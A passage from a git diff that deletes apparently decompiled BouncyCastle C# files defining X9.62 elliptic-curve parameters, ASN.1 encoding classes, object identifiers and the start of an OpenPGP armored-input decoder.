BigInteger("5667676A654B20754F356EA92017D946567C46675556F19556A04616B567D223A5E05656FB549016A96656A557", 16), new BigInteger("2472E2D0197C49363F1FE7F5B6DB075D52B6947D135D8CA445805D39BC345626089687742B6329E70680231988", 16), bigInteger, bigInteger2); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("033C258EF3047767E7EDE0F1FDAA79DAEE3841366A132E163ACED4ED2401DF9C6BDCDE98E8E707C07A2239B1B097")), bigInteger, bigInteger2, null); - } - } - - internal class C2pnb368w1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new C2pnb368w1Holder(); - - private C2pnb368w1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("010090512DA9AF72B08349D98A5DD4C7B0532ECA51CE03E2D10F3B7AC579BD87E909AE40A6F131E9CFCE5BD967", 16); - BigInteger bigInteger2 = BigInteger.ValueOf(65392L); - ECCurve eCCurve = new F2mCurve(368, 1, 2, 85, new BigInteger("00E0D2EE25095206F5E2A4F9ED229F1F256E79A0E2B455970D8D0D865BD94778C576D62F0AB7519CCD2A1A906AE30D", 16), new BigInteger("00FC1217D4320A90452C760A58EDCD30C8DD069B3C34453837A34ED50CB54917E1C2112D84D164F444F8F74786046A", 16), bigInteger, bigInteger2); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("021085E2755381DCCCE3C1557AFA10C2F0C0C2825646C5B34A394CBCFA8BC16B22E7E789E927BE216F02E1FB136A5F")), bigInteger, bigInteger2, null); - } - } - - internal class C2tnb431r1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new C2tnb431r1Holder(); - - private C2tnb431r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("0340340340340340340340340340340340340340340340340340340323C313FAB50589703B5EC68D3587FEC60D161CC149C1AD4A91", 16); - BigInteger bigInteger2 = BigInteger.ValueOf(10080L); - ECCurve eCCurve = new F2mCurve(431, 120, new BigInteger("1A827EF00DD6FC0E234CAF046C6A5D8A85395B236CC4AD2CF32A0CADBDC9DDF620B0EB9906D0957F6C6FEACD615468DF104DE296CD8F", 16), new BigInteger("10D9B4A3D9047D8B154359ABFB1B7F5485B04CEB868237DDC9DEDA982A679A5A919B626D4E50A8DD731B107A9962381FB5D807BF2618", 16), bigInteger, bigInteger2); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("02120FC05D3C67A99DE161D2F4092622FECA701BE4F50F4758714E8A87BBF2A658EF8C21E7C5EFE965361F6C2999C0C247B0DBD70CE6B7")), bigInteger, bigInteger2, null); - } - } - - private static readonly IDictionary objIds; - - private static readonly IDictionary curves; - - private static readonly IDictionary names; - - public static IEnumerable Names => new EnumerableProxy(names.Values); - - private X962NamedCurves() - { - } - - private static void DefineCurve(string name, DerObjectIdentifier oid, X9ECParametersHolder holder) - { - objIds.Add(Platform.ToUpperInvariant(name), oid); - names.Add(oid, name); - curves.Add(oid, holder); - } - - static X962NamedCurves() - { - objIds = Platform.CreateHashtable(); - curves = Platform.CreateHashtable(); - names = Platform.CreateHashtable(); - DefineCurve("prime192v1", X9ObjectIdentifiers.Prime192v1, Prime192v1Holder.Instance); - DefineCurve("prime192v2", X9ObjectIdentifiers.Prime192v2, Prime192v2Holder.Instance); - DefineCurve("prime192v3", X9ObjectIdentifiers.Prime192v3, Prime192v3Holder.Instance); - DefineCurve("prime239v1", X9ObjectIdentifiers.Prime239v1, Prime239v1Holder.Instance); - DefineCurve("prime239v2", X9ObjectIdentifiers.Prime239v2, Prime239v2Holder.Instance); - DefineCurve("prime239v3", X9ObjectIdentifiers.Prime239v3, Prime239v3Holder.Instance); - DefineCurve("prime256v1", X9ObjectIdentifiers.Prime256v1, Prime256v1Holder.Instance); - DefineCurve("c2pnb163v1", X9ObjectIdentifiers.C2Pnb163v1, C2pnb163v1Holder.Instance); - DefineCurve("c2pnb163v2", X9ObjectIdentifiers.C2Pnb163v2, C2pnb163v2Holder.Instance); - DefineCurve("c2pnb163v3", X9ObjectIdentifiers.C2Pnb163v3, C2pnb163v3Holder.Instance); - DefineCurve("c2pnb176w1", X9ObjectIdentifiers.C2Pnb176w1, C2pnb176w1Holder.Instance); - DefineCurve("c2tnb191v1", X9ObjectIdentifiers.C2Tnb191v1, C2tnb191v1Holder.Instance); - DefineCurve("c2tnb191v2", X9ObjectIdentifiers.C2Tnb191v2, C2tnb191v2Holder.Instance); - DefineCurve("c2tnb191v3", X9ObjectIdentifiers.C2Tnb191v3, C2tnb191v3Holder.Instance); - DefineCurve("c2pnb208w1", X9ObjectIdentifiers.C2Pnb208w1, C2pnb208w1Holder.Instance); - DefineCurve("c2tnb239v1", X9ObjectIdentifiers.C2Tnb239v1, C2tnb239v1Holder.Instance); - DefineCurve("c2tnb239v2", X9ObjectIdentifiers.C2Tnb239v2, C2tnb239v2Holder.Instance); - DefineCurve("c2tnb239v3", X9ObjectIdentifiers.C2Tnb239v3, C2tnb239v3Holder.Instance); - DefineCurve("c2pnb272w1", X9ObjectIdentifiers.C2Pnb272w1, C2pnb272w1Holder.Instance); - DefineCurve("c2pnb304w1", X9ObjectIdentifiers.C2Pnb304w1, C2pnb304w1Holder.Instance); - DefineCurve("c2tnb359v1", X9ObjectIdentifiers.C2Tnb359v1, C2tnb359v1Holder.Instance); - DefineCurve("c2pnb368w1", X9ObjectIdentifiers.C2Pnb368w1, C2pnb368w1Holder.Instance); - DefineCurve("c2tnb431r1", X9ObjectIdentifiers.C2Tnb431r1, C2tnb431r1Holder.Instance); - } - - public static X9ECParameters GetByName(string name) - { - DerObjectIdentifier oid = GetOid(name); - if (oid != null) - { - return GetByOid(oid); - } - return null; - } - - public static X9ECParameters GetByOid(DerObjectIdentifier oid) - { - return ((X9ECParametersHolder)curves[oid])?.Parameters; - } - - public static DerObjectIdentifier GetOid(string name) - { - return (DerObjectIdentifier)objIds[Platform.ToUpperInvariant(name)]; - } - - public static string GetName(DerObjectIdentifier oid) - { - return (string)names[oid]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X962Parameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X962Parameters.cs deleted file mode 100644 index 4e2e950..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X962Parameters.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.X9; - -public class X962Parameters : Asn1Encodable, IAsn1Choice -{ - private readonly Asn1Object _params; - - public bool IsNamedCurve => _params is DerObjectIdentifier; - - public bool IsImplicitlyCA => _params is Asn1Null; - - public Asn1Object Parameters => _params; - - public static X962Parameters GetInstance(object obj) - { - if (obj == null || obj is X962Parameters) - { - return (X962Parameters)obj; - } - if (obj is Asn1Object) - { - return new X962Parameters((Asn1Object)obj); - } - if (obj is byte[]) - { - try - { - return new X962Parameters(Asn1Object.FromByteArray((byte[])obj)); - } - catch (Exception ex) - { - throw new ArgumentException("unable to parse encoded data: " + ex.Message, ex); - } - } - throw new ArgumentException("unknown object in getInstance()"); - } - - public X962Parameters(X9ECParameters ecParameters) - { - _params = ecParameters.ToAsn1Object(); - } - - public X962Parameters(DerObjectIdentifier namedCurve) - { - _params = namedCurve; - } - - public X962Parameters(Asn1Object obj) - { - _params = obj; - } - - public override Asn1Object ToAsn1Object() - { - return _params; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9Curve.cs deleted file mode 100644 index 35dc6fd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9Curve.cs +++ /dev/null @@ -1,120 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X9; - -public class X9Curve : Asn1Encodable -{ - private readonly ECCurve curve; - - private readonly byte[] seed; - - private readonly DerObjectIdentifier fieldIdentifier; - - public ECCurve Curve => curve; - - public X9Curve(ECCurve curve) - : this(curve, null) - { - } - - public X9Curve(ECCurve curve, byte[] seed) - { - if (curve == null) - { - throw new ArgumentNullException("curve"); - } - this.curve = curve; - this.seed = Arrays.Clone(seed); - if (ECAlgorithms.IsFpCurve(curve)) - { - fieldIdentifier = X9ObjectIdentifiers.PrimeField; - return; - } - if (ECAlgorithms.IsF2mCurve(curve)) - { - fieldIdentifier = X9ObjectIdentifiers.CharacteristicTwoField; - return; - } - throw new ArgumentException("This type of ECCurve is not implemented"); - } - - [Obsolete("Use constructor including order/cofactor")] - public X9Curve(X9FieldID fieldID, Asn1Sequence seq) - : this(fieldID, null, null, seq) - { - } - - public X9Curve(X9FieldID fieldID, BigInteger order, BigInteger cofactor, Asn1Sequence seq) - { - if (fieldID == null) - { - throw new ArgumentNullException("fieldID"); - } - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - fieldIdentifier = fieldID.Identifier; - if (fieldIdentifier.Equals(X9ObjectIdentifiers.PrimeField)) - { - BigInteger value = ((DerInteger)fieldID.Parameters).Value; - BigInteger a = new BigInteger(1, Asn1OctetString.GetInstance(seq[0]).GetOctets()); - BigInteger b = new BigInteger(1, Asn1OctetString.GetInstance(seq[1]).GetOctets()); - curve = new FpCurve(value, a, b, order, cofactor); - } - else - { - if (!fieldIdentifier.Equals(X9ObjectIdentifiers.CharacteristicTwoField)) - { - throw new ArgumentException("This type of ECCurve is not implemented"); - } - DerSequence derSequence = (DerSequence)fieldID.Parameters; - int intValue = ((DerInteger)derSequence[0]).Value.IntValue; - DerObjectIdentifier derObjectIdentifier = (DerObjectIdentifier)derSequence[1]; - int num = 0; - int k = 0; - int k2 = 0; - if (derObjectIdentifier.Equals(X9ObjectIdentifiers.TPBasis)) - { - num = ((DerInteger)derSequence[2]).Value.IntValue; - } - else - { - DerSequence derSequence2 = (DerSequence)derSequence[2]; - num = ((DerInteger)derSequence2[0]).Value.IntValue; - k = ((DerInteger)derSequence2[1]).Value.IntValue; - k2 = ((DerInteger)derSequence2[2]).Value.IntValue; - } - BigInteger a2 = new BigInteger(1, Asn1OctetString.GetInstance(seq[0]).GetOctets()); - BigInteger b2 = new BigInteger(1, Asn1OctetString.GetInstance(seq[1]).GetOctets()); - curve = new F2mCurve(intValue, num, k, k2, a2, b2, order, cofactor); - } - if (seq.Count == 3) - { - seed = ((DerBitString)seq[2]).GetBytes(); - } - } - - public byte[] GetSeed() - { - return Arrays.Clone(seed); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (fieldIdentifier.Equals(X9ObjectIdentifiers.PrimeField) || fieldIdentifier.Equals(X9ObjectIdentifiers.CharacteristicTwoField)) - { - asn1EncodableVector.Add(new X9FieldElement(curve.A).ToAsn1Object()); - asn1EncodableVector.Add(new X9FieldElement(curve.B).ToAsn1Object()); - } - if (seed != null) - { - asn1EncodableVector.Add(new DerBitString(seed)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9ECParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9ECParameters.cs deleted file mode 100644 index ed8581d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9ECParameters.cs +++ /dev/null @@ -1,139 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Math.Field; - -namespace Org.BouncyCastle.Asn1.X9; - -public class X9ECParameters : Asn1Encodable -{ - private X9FieldID fieldID; - - private ECCurve curve; - - private X9ECPoint g; - - private BigInteger n; - - private BigInteger h; - - private byte[] seed; - - public ECCurve Curve => curve; - - public ECPoint G => g.Point; - - public BigInteger N => n; - - public BigInteger H => h; - - public X9Curve CurveEntry => new X9Curve(curve, seed); - - public X9FieldID FieldIDEntry => fieldID; - - public X9ECPoint BaseEntry => g; - - public static X9ECParameters GetInstance(object obj) - { - if (obj is X9ECParameters) - { - return (X9ECParameters)obj; - } - if (obj != null) - { - return new X9ECParameters(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - public X9ECParameters(Asn1Sequence seq) - { - if (!(seq[0] is DerInteger) || !((DerInteger)seq[0]).Value.Equals(BigInteger.One)) - { - throw new ArgumentException("bad version in X9ECParameters"); - } - n = ((DerInteger)seq[4]).Value; - if (seq.Count == 6) - { - h = ((DerInteger)seq[5]).Value; - } - X9Curve x9Curve = new X9Curve(X9FieldID.GetInstance(seq[1]), n, h, Asn1Sequence.GetInstance(seq[2])); - curve = x9Curve.Curve; - object obj = seq[3]; - if (obj is X9ECPoint) - { - g = (X9ECPoint)obj; - } - else - { - g = new X9ECPoint(curve, (Asn1OctetString)obj); - } - seed = x9Curve.GetSeed(); - } - - public X9ECParameters(ECCurve curve, ECPoint g, BigInteger n) - : this(curve, g, n, null, null) - { - } - - public X9ECParameters(ECCurve curve, X9ECPoint g, BigInteger n, BigInteger h) - : this(curve, g, n, h, null) - { - } - - public X9ECParameters(ECCurve curve, ECPoint g, BigInteger n, BigInteger h) - : this(curve, g, n, h, null) - { - } - - public X9ECParameters(ECCurve curve, ECPoint g, BigInteger n, BigInteger h, byte[] seed) - : this(curve, new X9ECPoint(g), n, h, seed) - { - } - - public X9ECParameters(ECCurve curve, X9ECPoint g, BigInteger n, BigInteger h, byte[] seed) - { - this.curve = curve; - this.g = g; - this.n = n; - this.h = h; - this.seed = seed; - if (ECAlgorithms.IsFpCurve(curve)) - { - fieldID = new X9FieldID(curve.Field.Characteristic); - return; - } - if (ECAlgorithms.IsF2mCurve(curve)) - { - IPolynomialExtensionField polynomialExtensionField = (IPolynomialExtensionField)curve.Field; - int[] exponentsPresent = polynomialExtensionField.MinimalPolynomial.GetExponentsPresent(); - if (exponentsPresent.Length == 3) - { - fieldID = new X9FieldID(exponentsPresent[2], exponentsPresent[1]); - return; - } - if (exponentsPresent.Length == 5) - { - fieldID = new X9FieldID(exponentsPresent[4], exponentsPresent[1], exponentsPresent[2], exponentsPresent[3]); - return; - } - throw new ArgumentException("Only trinomial and pentomial curves are supported"); - } - throw new ArgumentException("'curve' is of an unsupported type"); - } - - public byte[] GetSeed() - { - return seed; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(new DerInteger(BigInteger.One), fieldID, new X9Curve(curve, seed), g, new DerInteger(n)); - if (h != null) - { - asn1EncodableVector.Add(new DerInteger(h)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9ECParametersHolder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9ECParametersHolder.cs deleted file mode 100644 index 72221cb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9ECParametersHolder.cs +++ /dev/null @@ -1,23 +0,0 @@ -namespace Org.BouncyCastle.Asn1.X9; - -public abstract class X9ECParametersHolder -{ - private X9ECParameters parameters; - - public X9ECParameters Parameters - { - get - { - lock (this) - { - if (parameters == null) - { - parameters = CreateParameters(); - } - return parameters; - } - } - } - - protected abstract X9ECParameters CreateParameters(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9ECPoint.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9ECPoint.cs deleted file mode 100644 index 14a844d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9ECPoint.cs +++ /dev/null @@ -1,74 +0,0 @@ -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X9; - -public class X9ECPoint : Asn1Encodable -{ - private readonly Asn1OctetString encoding; - - private ECCurve c; - - private ECPoint p; - - public ECPoint Point - { - get - { - if (p == null) - { - p = c.DecodePoint(encoding.GetOctets()).Normalize(); - } - return p; - } - } - - public bool IsPointCompressed - { - get - { - byte[] octets = encoding.GetOctets(); - if (octets != null && octets.Length > 0) - { - if (octets[0] != 2) - { - return octets[0] == 3; - } - return true; - } - return false; - } - } - - public X9ECPoint(ECPoint p) - : this(p, compressed: false) - { - } - - public X9ECPoint(ECPoint p, bool compressed) - { - this.p = p.Normalize(); - encoding = new DerOctetString(p.GetEncoded(compressed)); - } - - public X9ECPoint(ECCurve c, byte[] encoding) - { - this.c = c; - this.encoding = new DerOctetString(Arrays.Clone(encoding)); - } - - public X9ECPoint(ECCurve c, Asn1OctetString s) - : this(c, s.GetOctets()) - { - } - - public byte[] GetPointEncoding() - { - return Arrays.Clone(encoding.GetOctets()); - } - - public override Asn1Object ToAsn1Object() - { - return encoding; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9FieldElement.cs deleted file mode 100644 index c1c1cd1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9FieldElement.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; - -namespace Org.BouncyCastle.Asn1.X9; - -public class X9FieldElement : Asn1Encodable -{ - private ECFieldElement f; - - public ECFieldElement Value => f; - - public X9FieldElement(ECFieldElement f) - { - this.f = f; - } - - [Obsolete("Will be removed")] - public X9FieldElement(BigInteger p, Asn1OctetString s) - : this(new FpFieldElement(p, new BigInteger(1, s.GetOctets()))) - { - } - - [Obsolete("Will be removed")] - public X9FieldElement(int m, int k1, int k2, int k3, Asn1OctetString s) - : this(new F2mFieldElement(m, k1, k2, k3, new BigInteger(1, s.GetOctets()))) - { - } - - public override Asn1Object ToAsn1Object() - { - int byteLength = X9IntegerConverter.GetByteLength(f); - byte[] str = X9IntegerConverter.IntegerToBytes(f.ToBigInteger(), byteLength); - return new DerOctetString(str); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9FieldID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9FieldID.cs deleted file mode 100644 index 92a3aba..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9FieldID.cs +++ /dev/null @@ -1,73 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Asn1.X9; - -public class X9FieldID : Asn1Encodable -{ - private readonly DerObjectIdentifier id; - - private readonly Asn1Object parameters; - - public DerObjectIdentifier Identifier => id; - - public Asn1Object Parameters => parameters; - - public X9FieldID(BigInteger primeP) - { - id = X9ObjectIdentifiers.PrimeField; - parameters = new DerInteger(primeP); - } - - public X9FieldID(int m, int k1) - : this(m, k1, 0, 0) - { - } - - public X9FieldID(int m, int k1, int k2, int k3) - { - id = X9ObjectIdentifiers.CharacteristicTwoField; - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(new DerInteger(m)); - if (k2 == 0) - { - if (k3 != 0) - { - throw new ArgumentException("inconsistent k values"); - } - asn1EncodableVector.Add(X9ObjectIdentifiers.TPBasis, new DerInteger(k1)); - } - else - { - if (k2 <= k1 || k3 <= k2) - { - throw new ArgumentException("inconsistent k values"); - } - asn1EncodableVector.Add(X9ObjectIdentifiers.PPBasis, new DerSequence(new DerInteger(k1), new DerInteger(k2), new DerInteger(k3))); - } - parameters = new DerSequence(asn1EncodableVector); - } - - private X9FieldID(Asn1Sequence seq) - { - id = DerObjectIdentifier.GetInstance(seq[0]); - parameters = seq[1].ToAsn1Object(); - } - - public static X9FieldID GetInstance(object obj) - { - if (obj is X9FieldID) - { - return (X9FieldID)obj; - } - if (obj == null) - { - return null; - } - return new X9FieldID(Asn1Sequence.GetInstance(obj)); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(id, parameters); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9IntegerConverter.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9IntegerConverter.cs deleted file mode 100644 index ae7bef2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9IntegerConverter.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; - -namespace Org.BouncyCastle.Asn1.X9; - -public abstract class X9IntegerConverter -{ - public static int GetByteLength(ECFieldElement fe) - { - return (fe.FieldSize + 7) / 8; - } - - public static int GetByteLength(ECCurve c) - { - return (c.FieldSize + 7) / 8; - } - - public static byte[] IntegerToBytes(BigInteger s, int qLength) - { - byte[] array = s.ToByteArrayUnsigned(); - if (qLength < array.Length) - { - byte[] array2 = new byte[qLength]; - Array.Copy(array, array.Length - array2.Length, array2, 0, array2.Length); - return array2; - } - if (qLength > array.Length) - { - byte[] array3 = new byte[qLength]; - Array.Copy(array, 0, array3, array3.Length - array.Length, array.Length); - return array3; - } - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9ObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9ObjectIdentifiers.cs deleted file mode 100644 index f1b57c6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X9ObjectIdentifiers.cs +++ /dev/null @@ -1,140 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.X9; - -public abstract class X9ObjectIdentifiers -{ - internal const string AnsiX962 = "1.2.840.10045"; - - [Obsolete("Use 'id_ecSigType' instead")] - public const string IdECSigType = "1.2.840.10045.4"; - - [Obsolete("Use 'id_publicKeyType' instead")] - public const string IdPublicKeyType = "1.2.840.10045.2"; - - public static readonly DerObjectIdentifier ansi_X9_62 = new DerObjectIdentifier("1.2.840.10045"); - - public static readonly DerObjectIdentifier IdFieldType = ansi_X9_62.Branch("1"); - - public static readonly DerObjectIdentifier PrimeField = IdFieldType.Branch("1"); - - public static readonly DerObjectIdentifier CharacteristicTwoField = IdFieldType.Branch("2"); - - public static readonly DerObjectIdentifier GNBasis = CharacteristicTwoField.Branch("3.1"); - - public static readonly DerObjectIdentifier TPBasis = CharacteristicTwoField.Branch("3.2"); - - public static readonly DerObjectIdentifier PPBasis = CharacteristicTwoField.Branch("3.3"); - - public static readonly DerObjectIdentifier id_ecSigType = ansi_X9_62.Branch("4"); - - public static readonly DerObjectIdentifier ECDsaWithSha1 = id_ecSigType.Branch("1"); - - public static readonly DerObjectIdentifier id_publicKeyType = ansi_X9_62.Branch("2"); - - public static readonly DerObjectIdentifier IdECPublicKey = id_publicKeyType.Branch("1"); - - public static readonly DerObjectIdentifier ECDsaWithSha2 = id_ecSigType.Branch("3"); - - public static readonly DerObjectIdentifier ECDsaWithSha224 = ECDsaWithSha2.Branch("1"); - - public static readonly DerObjectIdentifier ECDsaWithSha256 = ECDsaWithSha2.Branch("2"); - - public static readonly DerObjectIdentifier ECDsaWithSha384 = ECDsaWithSha2.Branch("3"); - - public static readonly DerObjectIdentifier ECDsaWithSha512 = ECDsaWithSha2.Branch("4"); - - public static readonly DerObjectIdentifier EllipticCurve = ansi_X9_62.Branch("3"); - - public static readonly DerObjectIdentifier CTwoCurve = EllipticCurve.Branch("0"); - - public static readonly DerObjectIdentifier C2Pnb163v1 = CTwoCurve.Branch("1"); - - public static readonly DerObjectIdentifier C2Pnb163v2 = CTwoCurve.Branch("2"); - - public static readonly DerObjectIdentifier C2Pnb163v3 = CTwoCurve.Branch("3"); - - public static readonly DerObjectIdentifier C2Pnb176w1 = CTwoCurve.Branch("4"); - - public static readonly DerObjectIdentifier C2Tnb191v1 = CTwoCurve.Branch("5"); - - public static readonly DerObjectIdentifier C2Tnb191v2 = CTwoCurve.Branch("6"); - - public static readonly DerObjectIdentifier C2Tnb191v3 = CTwoCurve.Branch("7"); - - public static readonly DerObjectIdentifier C2Onb191v4 = CTwoCurve.Branch("8"); - - public static readonly DerObjectIdentifier C2Onb191v5 = CTwoCurve.Branch("9"); - - public static readonly DerObjectIdentifier C2Pnb208w1 = CTwoCurve.Branch("10"); - - public static readonly DerObjectIdentifier C2Tnb239v1 = CTwoCurve.Branch("11"); - - public static readonly DerObjectIdentifier C2Tnb239v2 = CTwoCurve.Branch("12"); - - public static readonly DerObjectIdentifier C2Tnb239v3 = CTwoCurve.Branch("13"); - - public static readonly DerObjectIdentifier C2Onb239v4 = CTwoCurve.Branch("14"); - - public static readonly DerObjectIdentifier C2Onb239v5 = CTwoCurve.Branch("15"); - - public static readonly DerObjectIdentifier C2Pnb272w1 = CTwoCurve.Branch("16"); - - public static readonly DerObjectIdentifier C2Pnb304w1 = CTwoCurve.Branch("17"); - - public static readonly DerObjectIdentifier C2Tnb359v1 = CTwoCurve.Branch("18"); - - public static readonly DerObjectIdentifier C2Pnb368w1 = CTwoCurve.Branch("19"); - - public static readonly DerObjectIdentifier C2Tnb431r1 = CTwoCurve.Branch("20"); - - public static readonly DerObjectIdentifier PrimeCurve = EllipticCurve.Branch("1"); - - public static readonly DerObjectIdentifier Prime192v1 = PrimeCurve.Branch("1"); - - public static readonly DerObjectIdentifier Prime192v2 = PrimeCurve.Branch("2"); - - public static readonly DerObjectIdentifier Prime192v3 = PrimeCurve.Branch("3"); - - public static readonly DerObjectIdentifier Prime239v1 = PrimeCurve.Branch("4"); - - public static readonly DerObjectIdentifier Prime239v2 = PrimeCurve.Branch("5"); - - public static readonly DerObjectIdentifier Prime239v3 = PrimeCurve.Branch("6"); - - public static readonly DerObjectIdentifier Prime256v1 = PrimeCurve.Branch("7"); - - public static readonly DerObjectIdentifier IdDsa = new DerObjectIdentifier("1.2.840.10040.4.1"); - - public static readonly DerObjectIdentifier IdDsaWithSha1 = new DerObjectIdentifier("1.2.840.10040.4.3"); - - public static readonly DerObjectIdentifier X9x63Scheme = new DerObjectIdentifier("1.3.133.16.840.63.0"); - - public static readonly DerObjectIdentifier DHSinglePassStdDHSha1KdfScheme = X9x63Scheme.Branch("2"); - - public static readonly DerObjectIdentifier DHSinglePassCofactorDHSha1KdfScheme = X9x63Scheme.Branch("3"); - - public static readonly DerObjectIdentifier MqvSinglePassSha1KdfScheme = X9x63Scheme.Branch("16"); - - public static readonly DerObjectIdentifier ansi_x9_42 = new DerObjectIdentifier("1.2.840.10046"); - - public static readonly DerObjectIdentifier DHPublicNumber = ansi_x9_42.Branch("2.1"); - - public static readonly DerObjectIdentifier X9x42Schemes = ansi_x9_42.Branch("2.3"); - - public static readonly DerObjectIdentifier DHStatic = X9x42Schemes.Branch("1"); - - public static readonly DerObjectIdentifier DHEphem = X9x42Schemes.Branch("2"); - - public static readonly DerObjectIdentifier DHOneFlow = X9x42Schemes.Branch("3"); - - public static readonly DerObjectIdentifier DHHybrid1 = X9x42Schemes.Branch("4"); - - public static readonly DerObjectIdentifier DHHybrid2 = X9x42Schemes.Branch("5"); - - public static readonly DerObjectIdentifier DHHybridOneFlow = X9x42Schemes.Branch("6"); - - public static readonly DerObjectIdentifier Mqv2 = X9x42Schemes.Branch("7"); - - public static readonly DerObjectIdentifier Mqv1 = X9x42Schemes.Branch("8"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ArmoredInputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ArmoredInputStream.cs deleted file mode 100644 index 54a130f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ArmoredInputStream.cs +++ /dev/null @@ -1,418 +0,0 @@ -using System.Collections; -using System.IO; -using System.Text; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Bcpg; - -public class ArmoredInputStream : BaseInputStream -{ - private static readonly byte[] decodingTable; - - private Stream input; - - private bool start = true; - - private int[] outBuf = new int[3]; - - private int bufPtr = 3; - - private Crc24 crc = new Crc24(); - - private bool crcFound = false; - - private bool hasHeaders = true; - - private string header = null; - - private bool newLineFound = false; - - private bool clearText = false; - - private bool restart = false; - - private IList headerList = Platform.CreateArrayList(); - - private int lastC = 0; - - private bool isEndOfStream; - - static ArmoredInputStream() - { - decodingTable = new byte[128]; - for (int i = 65; i <= 90; i++) - { - decodingTable[i] = (byte)(i - 65); - } - for (int j = 97; j <= 122; j++) - { - decodingTable[j] = (byte)(j - 97 + 26); - } - for (int k = 48; k <= 57; k++) - { - decodingTable[k] = (byte)(k - 48 + 52); - } - decodingTable[43] = 62; - decodingTable[47] = 63; - } - - private int Decode(int in0, int in1, int in2, int in3, int[] result) - { - if (in3 < 0) - { - throw new EndOfStreamException("unexpected end of file in armored stream."); - } - int num; - int num2; - if (in2 == 61) - { - num = decodingTable[in0] & 0xFF; - num2 = decodingTable[in1] & 0xFF; - result[2] = ((num << 2) | (num2 >> 4)) & 0xFF; - return 2; - } - int num3; - if (in3 == 61) - { - num = decodingTable[in0]; - num2 = decodingTable[in1]; - num3 = decodingTable[in2]; - result[1] = ((num << 2) | (num2 >> 4)) & 0xFF; - result[2] = ((num2 << 4) | (num3 >> 2)) & 0xFF; - return 1; - } - num = decodingTable[in0]; - num2 = decodingTable[in1]; - num3 = decodingTable[in2]; - int num4 = 